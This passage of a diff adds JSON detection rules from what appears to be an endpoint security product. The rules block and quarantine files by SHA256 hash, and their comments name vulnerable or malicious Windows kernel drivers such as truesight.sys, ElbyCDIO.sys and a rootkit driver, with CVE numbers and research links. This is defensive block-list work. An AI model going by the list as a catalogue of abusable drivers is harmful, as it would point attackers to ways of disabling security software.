+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814718Z",
+  "creation_date": "2026-03-23T11:45:31.814722Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814731Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac1c07a4fb4f034b91dd52083113f06baf89e85eb95ff4e8594b402237b08ef5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f427d5dd-6230-518e-8519-c13d2f7694f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614421Z",
+  "creation_date": "2026-03-23T11:45:29.614423Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614428Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e8b0c1966e566a523d652e00f7727d8b0663f1dfdce3b9a09b9adfaef48d8ee",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f43d360d-0b3b-57c8-bf5b-a3c99e42cc74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488725Z",
+  "creation_date": "2026-03-23T11:45:31.488727Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488733Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "562c8ce6ac6adcce9ae1ff1031ceb230acb2e6db7d4af9ea680ede81ceb993dd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f43fd366-8964-5767-982e-78384fb87108",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820217Z",
+  "creation_date": "2026-03-23T11:45:31.820220Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820228Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1aaec14ba263d8950a271f31b4720aa83daba86d0f8d5e8bce4148fe55982599",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f45e8d63-fc62-5ecf-a13e-643b0ddee0b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971731Z",
+  "creation_date": "2026-03-23T11:45:29.971733Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971739Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1aaa9aef39cb3c0a854ecb4ca7d3b213458f302025e0ec5bfbdef973cca9111c",
+  "comment": "PowerTool Hacktool malicious driver (aka kEvP64.sys) [https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/HackTool.Win64.ToolPow.A/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f4645f32-4986-540d-a2c1-5837d0bae5a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148179Z",
+  "creation_date": "2026-03-23T11:45:31.148181Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148189Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d5456e3d16caf28e4ad56e7c047084d89fbe8c312a4d28abb2ae1a6a1ffd4d8e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f474bf69-81e8-5f7f-a95e-4fd8df201661",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822102Z",
+  "creation_date": "2026-03-23T11:45:30.822106Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822116Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "694385b46b72e65604afd251fba3c8febb42225343d38feecec3f424ce45f2c3",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f476fc73-6cee-5943-b34a-529baa2637b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973130Z",
+  "creation_date": "2026-03-23T11:45:29.973132Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973137Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "45b7ec74cc78651975d01d88308f3231df4c96036d6c2273d79f53abdfc8888c",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f48ce149-c36c-51e4-98e7-702e74ad7861",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817408Z",
+  "creation_date": "2026-03-23T11:45:31.817410Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817416Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2cef3bd693dc86b5962d66e3cdade498143a4d921fdc5d8f823732d02082cae8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f48ec029-8443-580a-81d4-d70d50fb9bb9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817557Z",
+  "creation_date": "2026-03-23T11:45:30.817559Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817564Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5bf3985644308662ebfa2fbcc11fb4d3e2a0c817ad3da1a791020f8c8589ebc8",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f48f86bd-2651-5bd3-a0fe-73096c1c7220",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816691Z",
+  "creation_date": "2026-03-23T11:45:30.816693Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816700Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13ae4d9dcacba8133d8189e59d9352272e15629e6bca580c32aff9810bd96e44",
+  "comment": "Vulnerable Kernel Driver (aka tdeio64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f493a728-d01e-5af5-a363-17b5365e619f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477083Z",
+  "creation_date": "2026-03-23T11:45:30.477087Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477096Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b9ad7199c00d477ebbc15f2dcf78a6ba60c2670dad0ef0994cebccb19111f890",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f49f5a34-37b6-52f6-8abe-db95642d8fa2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619490Z",
+  "creation_date": "2026-03-23T11:45:29.619492Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619498Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65329dad28e92f4bcc64de15c552b6ef424494028b18875b7dba840053bc0cdd",
+  "comment": "Insyde Software dangerous update tool (aka segwindrvx64.sys) [https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Program%3AWin32%2FVulnInsydeDriver.A&threatid=258247] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f4b57b4c-b90b-5bde-86d4-5ed488cc65ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824294Z",
+  "creation_date": "2026-03-23T11:45:30.824296Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824301Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d320bae0560a5c14f2b4998930a582a3db9131105c51be8780f3e42eb9c830d6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f4c7a4f7-1b43-5f8f-9012-284fda08822a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458779Z",
+  "creation_date": "2026-03-23T11:45:30.458782Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458791Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0174cea1dd70b374f355126ae6be650dff95897d8c8200caac91d4f9e5e5b871",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f4cb2b6b-efa6-5a95-879d-2183c359003f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620833Z",
+  "creation_date": "2026-03-23T11:45:29.620835Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620840Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e61a54f6d3869b43c4eceac3016df73df67cce03878c5a6167166601c5d3f028",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f4cbc1c4-729b-5359-a5be-96d316da0087",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821699Z",
+  "creation_date": "2026-03-23T11:45:30.821702Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821711Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "348dc502ac57d7362c7f222e656c52e630c90bef92217a3bd20e49193b5a69f1",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f4de6c0a-c86a-546b-9ed0-595abeb61343",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825405Z",
+  "creation_date": "2026-03-23T11:45:31.825407Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825412Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd6e242ea118af2d1a089ee4013e0b18e62de477d610e47b4aaa551bc708cca4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f4e600c5-1431-529c-b5c4-72d5b039ece6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494656Z",
+  "creation_date": "2026-03-23T11:45:31.494658Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494663Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6e397c79b7e6ccd146aaca3aed2289677f546176f107dc8d529e6761e58b20bc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f4eb7494-4c1f-5aa0-93d4-90d1e2422916",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968022Z",
+  "creation_date": "2026-03-23T11:45:29.968024Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968030Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7da5e6b6212c03d4d862795d05aace1a06db4943489cb639b9ca9a88563c9d0f",
+  "comment": "Projector Rootkit malicious drivers (aka KB_VRX_deviced.sys) [https://twitter.com/struppigel/status/1551503748601729025] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f4ef332a-7e97-515a-8669-4fc2e214fb22",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811081Z",
+  "creation_date": "2026-03-23T11:45:31.811083Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811088Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "481dc99c83a17b4afeb99597f8aa8c7b61756b3b848c3624741869410d5c9266",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f4f71a07-890a-5891-8f59-021885c9402c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479238Z",
+  "creation_date": "2026-03-23T11:45:31.479242Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479252Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ffb536b3fba7aecb5be8b9211a6899e4b3f4cf592d7a8aa0ce7e72f6c95b0f76",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f4f86dc3-3077-5974-81b8-0b95e1367f06",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154960Z",
+  "creation_date": "2026-03-23T11:45:31.154962Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
